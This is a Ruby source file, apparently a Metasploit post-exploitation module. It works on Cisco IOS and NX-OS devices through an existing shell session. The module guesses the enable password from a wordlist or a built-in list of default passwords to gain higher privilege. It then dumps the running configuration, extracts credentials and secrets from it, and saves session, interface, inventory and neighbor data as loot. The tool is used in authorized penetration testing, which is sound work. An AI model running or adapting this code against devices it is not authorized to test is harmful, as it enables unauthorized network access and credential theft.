##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Auxiliary::Cisco
  include Msf::Exploit::Deprecated
  moved_from 'post/cisco/gather/enum_cisco'
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco Gather Device General Information',
        'Description' => %q{
          This module collects a Cisco IOS or NXOS device information and configuration.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
        'Platform' => [ 'cisco'],
        'SessionTypes' => [ 'shell' ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('ENABLE', [ false, 'Enable password for changing privilege level.']),
        OptPath.new('WORDLIST', [false, 'Wordlist of possible enable passwords to try.'])
      ]
    )
  end

  def run
    # Get device prompt
    prompt = session.shell_command('')

    # Set terminal length to 0 so no paging is required
    session.shell_write("term len 0 \n")

    # Get version info
    print_status('Getting version information')
    show_ver_cmd = 'show version'
    ver_out = session.shell_command(show_ver_cmd)
    ver = ver_out.gsub(/show version/, '')

    # Get current privilege level
    print_status('Getting privilege level')
    priv_cmd = 'show priv'
    priv = session.shell_command(priv_cmd).scan(/privilege level is (\d*)/).join

    # Check if this is a Nexus or IOS box
    case ver
    when /Nexus/
      os_type = 'Nexus'
      mode = 'EXEC'
    when /IOS/
      os_type = 'IOS'
    end
    if os_type == 'IOS'
      case prompt
      when />/
        mode = 'EXEC'
      when /#/
        mode = 'PRIV'
      end
    end

    print_status("The device OS is #{os_type}")
    print_status("Session running in mode #{mode}")
    print_status("Privilege level #{priv}")

    case os_type
    when /IOS/
      ver_loc = store_loot('cisco.ios.version',
                           'text/plain',
                           session,
                           ver.strip,
                           'version.txt',
                           'Cisco IOS Version')
    when /Nexus/
      ver_loc = store_loot('cisco.nxos.version',
                           'text/plain',
                           session,
                           ver.strip,
                           'version.txt',
                           'Cisco NXOS Version')
    end

    # Print the version of VERBOSE set to true.
    vprint_good("version information stored in to loot, file:#{ver_loc}")

    # Enumerate depending priv level
    case priv
    when '1'
      enum_exec(prompt)
      if get_enable(datastore['ENABLE'], datastore['WORDLIST'])
        enum_priv(prompt)
      end
    when /7|15/
      enum_exec(prompt)
      enum_priv(prompt)
    end
  end

  def get_enable(enable_pass, pass_file)
    if enable_pass
      found = false
      session.shell_command('enable').to_s.strip
      en_out = session.shell_command(enable_pass)
      if en_out =~ /Password:/
        print_error('Failed to change privilege level using provided Enable password.')
      else
        found = true
      end
    else
      if pass_file
        if !::File.exist?(pass_file)
          print_error("Wordlist File #{pass_file} does not exist!")
          return
        end
        creds = ::File.open(pass_file, 'rb')
      else
        creds = "Cisco\n" << "cisco\n" << "sanfran\n" << "SanFran\n" << "password\n" << "Password\n"
      end
      print_status('Trying to get higher privilege level with common Enable passwords..')

      # Try just the enable command
      en_out = session.shell_command('enable').to_s.strip
      if en_out =~ /Password:/
        creds.each_line do |p|
          next if p.strip.empty?
          next if p[0, 1] == '#'

          print_status("\tTrying password #{p.strip}")
          pass_out = session.shell_command(p.strip).to_s.strip
          vprint_status("Response: #{pass_out}")
          session.shell_command('enable').to_s.strip if pass_out =~ /Bad secrets/
          found = true if pass_out =~ /#/
          break if found
        end
      else
        found = true
      end
    end
    if found
      print_good('Obtained higher privilege level.')
      return true
    else
      print_error('Could not obtain higher privilege level.')
      return false
    end
  end

  # Run enumeration commands for when privilege level is 7 or 15
  def enum_priv(prompt)
    host = session.session_host
    port = session.session_port
    priv_commands = [
      {
        'cmd' => 'show run',
        'fn' => 'run_config',
        'desc' => 'Cisco Device running configuration'
      },
      {
        'cmd' => 'show cdp neigh',
        'fn' => 'cdp_neighbors',
        'desc' => 'Cisco Device CDP Neighbors'
      },
      {
        'cmd' => 'show lldp neigh',
        'fn' => 'cdp_neighbors',
        'desc' => 'Cisco Device LLDP Neighbors'
      }
    ]
    priv_commands.each do |ec|
      cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '')
      # also look at line number so we dont invalidate large outputs by something at the end
      next if cmd_out.split("\n").length < 2 && cmd_out =~ /Invalid input|%/

      print_status("Gathering info from #{ec['cmd']}")
      # Process configuration
      if ec['cmd'] =~ /show run/
        print_status('Parsing running configuration for credentials and secrets...')
        cisco_ios_config_eater(host, port, cmd_out)
      end
      cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
                           'text/plain',
                           session,
                           cmd_out.strip,
                           "#{ec['fn']}.txt",
                           ec['desc'])
      vprint_good("Saving to #{cmd_loc}")
    end
  end

  # run commands found in exec mode under privilege 1
  def enum_exec(prompt)
    exec_commands = [
      {
        'cmd' => 'show ssh',
        'fn' => 'ssh_sessions',
        'desc' => 'SSH Sessions on Cisco Device'
      },
      {
        'cmd' => 'show sessions',
        'fn' => 'telnet_sessions',
        'desc' => 'Telnet Sessions on Cisco Device'
      },
      {
        'cmd' => 'show login',
        'fn' => 'login_settings',
        'desc' => 'Login settings on Cisco Device'
      },
      {
        'cmd' => 'show ip interface brief',
        'fn' => 'interface_info',
        'desc' => 'IP Enabled Interfaces on Cisco Device'
      },
      {
        'cmd' => 'show inventory',
        'fn' => 'hw_inventory',
        'desc' => 'Hardware component inventory for Cisco Device'
      }
    ]
    exec_commands.each do |ec|
      cmd_out = session.shell_command(ec['cmd']).gsub(/#{ec['cmd']}|#{prompt}/, '')
      next if cmd_out =~ /Invalid input|%/

      print_status("Gathering info from #{ec['cmd']}")
      cmd_loc = store_loot("cisco.ios.#{ec['fn']}",
                           'text/plain',
                           session,
                           cmd_out.strip,
                           "#{ec['fn']}.txt",
                           ec['desc'])
      vprint_good("Saving to #{cmd_loc}")
    end
  end
end
